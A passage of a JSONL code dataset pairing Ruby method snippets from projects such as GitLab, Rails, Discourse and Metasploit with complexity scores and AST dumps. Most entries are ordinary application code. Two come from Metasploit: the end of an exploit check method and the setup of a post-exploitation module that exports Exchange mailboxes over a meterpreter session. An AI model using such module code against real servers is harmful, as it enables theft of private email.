send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"copyFileToServerRequest\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"949393e3-c699-403a-b63d-da4a81d10b2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/mirrors_controller.rb","start_line":82,"raw_source":"def push_mirror_create?\n    push_mirror_attributes.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"push_mirror_create?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_mirror_attributes\"]},\"present?\"]}]}","id":"93bc9bb3-a5f7-482a-b488-2cca71fae4c3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/eye.rb","start_line":33,"raw_source":"def trace_after_save\n      (@after_save_callbacks_stack ||= []) << iris.has_changes_to_save?\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trace_after_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@after_save_callbacks_stack\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iris\"]},\"has_changes_to_save?\"]}]}]}","id":"7dde4473-2a91-48fd-a390-6640f8ddb1f8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/ifc_models/ifc_models_controller.rb","start_line":182,"raw_source":"def prepare_form(ifc_model)\n        return unless OpenProject::Configuration.direct_uploads?\n\n        call = ::Attachments::PrepareUploadService\n                 .bypass_allowlist(user: current_user)\n                 .call(filename: \"model.ifc\", filesize: 0)\n\n        call.on_failure { flash[:error] = call.message }\n\n        @pending_upload = call.result\n        @form = DirectFogUploader.direct_fog_hash(\n          attachment: @pending_upload,\n          success_action_redirect: direct_upload_finished_bcf_project_ifc_models_url\n        )\n        session[:pending_ifc_model_ifc_model_id] = ifc_model.id unless ifc_model.new_record?\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ifc_model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"direct_uploads?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Attachments\"]},\"PrepareUploadService\"]},\"bypass_allowlist\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"model.ifc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pending_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DirectFogUploader\"]},\"direct_fog_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachment\"]},{\"type\":\"ivar\",\"children\":[\"@pending_upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success_action_redirect\"]},{\"type\":\"send\",\"children\":[null,\"direct_upload_finished_bcf_project_ifc_models_url\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ifc_model\"]},\"new_record?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_ifc_model_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ifc_model\"]},\"id\"]}]}]}]}]}","id":"98ac15e2-2b16-4b2b-a730-02978642bd5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/exchange.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Gather Exchange Server Mailboxes',\n        'Description' => %q{\n          This module will gather information from an on-premise Exchange Server running on the target machine.\n\n          Two actions are supported:\n          LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.\n          EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.\n\n          For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter\n\n          The executing user has to be assigned to the \"Organization Management\" role group for the module to successfully run.\n\n          Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'SophosLabs Offensive Security team' ],\n        'References' => [\n          [ 'URL', 'https://github.com/sophoslabs/metasploit_gather_exchange' ],\n          [ 'URL', 'https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/' ],\n        ],\n        'Platform' => [ 'win' ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Actions' => [\n          [ 'LIST', { 'Description' => 'List basic information about all Exchange servers and mailboxes hosted on the target' } ],\n          [ 'EXPORT', { 'Description' => 'Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword' } ],\n        ],\n        'DefaultAction' => 'LIST',\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_fs_stat\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILTER', [ false, '[for EXPORT] Filter to use when exporting a mailbox (see description)' ]),\n        OptString.new('MAILBOX', [ false, '[for EXPORT, required] Mailbox to export' ]),\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any PowerShell scripts to complete', 600]),\n        OptFloat.new('DownloadSizeThreshold', [true, 'The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)', 50.0]),\n        OptBool.new('SkipLargeDownloads', [true, 'Automatically skip downloading export results that are larger than DownloadSizeThreshold (don\\'t show prompt)', false])\n      ]\n    )\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather Exchange Server Mailboxes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will gather information from an on-premise Exchange Server running on the target machine.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Two actions are supported:\\n\"]},{\"type\":\"str\",\"children\":[\"          LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.\\n\"]},{\"type\":\"str\",\"children\":[\"          EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The executing user has to be assigned to the \\\"Organization Management\\\" role group for the module to successfully run.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SophosLabs Offensive Security team\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/sophoslabs/metasploit_gather_exchange\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LIST\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"List basic information about all Exchange servers and mailboxes hosted on the target\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPORT\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"LIST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_fs_stat\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"[for EXPORT] Filter to use when exporting a mailbox (see description)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAILBOX\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"[for EXPORT, required] Mailbox to export\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The maximum time (in seconds) to wait for any PowerShell scripts to complete\"]},{\"type\":\"int\",\"children\":[600]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptFloat\"]},\"new\",{\"type\":\"str\",\"children\":[\"DownloadSizeThreshold\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)\"]},{\"type\":\"float\",\"children\":[50.0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SkipLargeDownloads\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Automatically skip downloading export results that are larger than DownloadSizeThreshold (don't show prompt)\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"623da24a-06b3-43d8-9d85-77f81d02cd86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/git_http_client_controller.rb","start_line":93,"raw_source":"def basic_auth_provided?\n      has_basic_credentials?(request)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"basic_auth_provided?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_basic_credentials?\",{\"type\":\"send\",\"children\":[null,\"request\"]}]}]}","id":"c9441b5c-a14f-432f-a82e-a556000c58aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/resource_events/merge_into_notes_service.rb","start_line":26,"raw_source":"def execute(notes = [])\n      notes.to_a.concat(synthetic_notes).sort_by!(&:created_at)\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"notes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"to_a\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"synthetic_notes\"]}]},\"sort_by!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}","id":"96e13af9-bcb0-4817-94e0-009f01ecf2a3"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/routes.rb","start_line":78,"raw_source":"def token_info_routes(mapping)\n        routes.resource(\n          :token_info,\n          path: \"token/info\",\n          only: [:show], as: mapping[:as],\n          controller: mapping[:controllers],\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"token_info_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mapping\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"resource\",{\"type\":\"sym\",\"children\":[\"token_info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"token/info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"show\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controllers\"]}]}]}]}]}]}","id":"e45c1445-af7f-4a9a-8a69-69ab8af74e58"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/namespaces/groups/invited_groups_finder.rb","start_line":27,"raw_source":"def execute\n        return Group.none unless can?(current_user, :read_group, group)\n\n        group_links = group_group_links(group, include_relations)\n        groups = Group.id_in(group_links.select(:shared_with_group_id)).public_or_visible_to_user(current_user)\n        groups = apply_filters(groups)\n        sort(groups).with_route\n      end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group_links\",{\"type\":\"send\",\"children\":[null,\"group_group_links\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[null,\"include_relations\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"id_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_links\"]},\"select\",{\"type\":\"sym\",\"children\":[\"shared_with_group_id\"]}]}]},\"public_or_visible_to_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[null,\"apply_filters\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]},\"with_route\"]}]}]}","id":"04a5ed2e-9fe1-45e2-8ae0-f5dfe033af75"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":324,"raw_source":"def pending_cops\n      keys.each_with_object([]) do |qualified_cop_name, pending_cops|\n        department = department_of(qualified_cop_name)\n        next if department && department['Enabled'] == false\n\n        cop_metadata = self[qualified_cop_name]\n        next unless cop_metadata['Enabled'] == 'pending'\n\n        pending_cops << CopConfig.new(qualified_cop_name, cop_metadata)\n      end\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_cops\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keys\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"qualified_cop_name\"]},{\"type\":\"arg\",\"children\":[\"pending_cops\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"department\",{\"type\":\"send\",\"children\":[null,\"department_of\",{\"type\":\"lvar\",\"children\":[\"qualified_cop_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Enabled\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"cop_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"qualified_cop_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_metadata\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Enabled\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"pending\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pending_cops\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CopConfig\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"qualified_cop_name\"]},{\"type\":\"lvar\",\"children\":[\"cop_metadata\"]}]}]}]}]}]}","id":"950b7811-e92c-4463-9980-c7657fdf7ce4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/app/models/channel.rb","start_line":40,"raw_source":"def data_valid?\n    # If provider is invalid, don't try and check data\n    return if DiscourseChatIntegration::Provider.provider_names.exclude? provider\n\n    params = DiscourseChatIntegration::Provider.get_by_name(provider)::CHANNEL_PARAMETERS\n\n    unless params.map { |p| p[:key] }.sort == data.keys.sort\n      errors.add(:data, \"data does not match the required structure for provider #{provider}\")\n      return\n    end\n\n    check_unique = false\n    matching_channels = DiscourseChatIntegration::Channel.with_provider(provider).where.not(id: id)\n\n    data.each do |key, value|\n      regex_string = params.find { |p| p[:key] == key }[:regex]\n      errors.add(:data, \"data.#{key} is invalid\") if !Regexp.new(regex_string).match(value)\n\n      unique = params.find { |p| p[:key] == key }[:unique]\n      if unique\n        check_unique = true\n        matching_channels = matching_channels.with_data_value(key, value)\n      end\n    end\n\n    errors.add(:data, \"matches an existing channel\") if check_unique && matching_channels.exists?\n  end","complexity_score":70.8,"ast_json":"{\"type\":\"def\",\"children\":[\"data_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"provider_names\"]},\"exclude?\",{\"type\":\"send\",\"children\":[null,\"provider\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"get_by_name\",{\"type\":\"send\",\"children\":[null,\"provider\"]}]},\"CHANNEL_PARAMETERS\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},\"sort\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"keys\"]},\"sort\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"data does not match the required structure for provider \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"check_unique\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"matching_channels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Channel\"]},\"with_provider\",{\"type\":\"send\",\"children\":[null,\"provider\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regex_string\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"regex\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"regex_string\"]}]},\"match\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"data.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" is invalid\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"unique\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unique\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check_unique\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"matching_channels\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_channels\"]},\"with_data_value\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_unique\"]},{\"type\":\"send\